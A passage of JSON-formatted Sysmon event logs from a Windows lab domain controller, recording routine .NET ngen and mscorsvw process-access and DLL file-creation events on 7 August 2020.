12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.526\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00104F101000}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.526","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00104F101000}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00104F101000}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00104F101000}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.651\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-001024141000}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.651","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-001024141000}","TargetProcessId":"1512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.651\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-001024141000}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.651","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-001024141000}","TargetProcessId":"1512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.651\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-001024141000}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.651","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-001024141000}","TargetProcessId":"1512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:44.901\r\nProcessGuid: {90617006-431F-5F2D-0000-001024141000}\r\nProcessId: 1512\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\5e8-0\\System.Windows.Controls.Ribbon.dll\r\nCreationUtcTime: 2020-08-07 12:03:44.901","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:44.901","ProcessGuid":"{90617006-431F-5F2D-0000-001024141000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\5e8-0\\System.Windows.Controls.Ribbon.dll","CreationUtcTime":"2020-08-07 12:03:44.901","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:44.979\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-0010FDB80F00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:44.979","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-0010FDB80F00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:44.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-0010FDB80F00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:44.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-0010FDB80F00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:45.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4320-5F2D-0000-001095191000}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:45.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4320-5F2D-0000-001095191000}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:45.166\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: 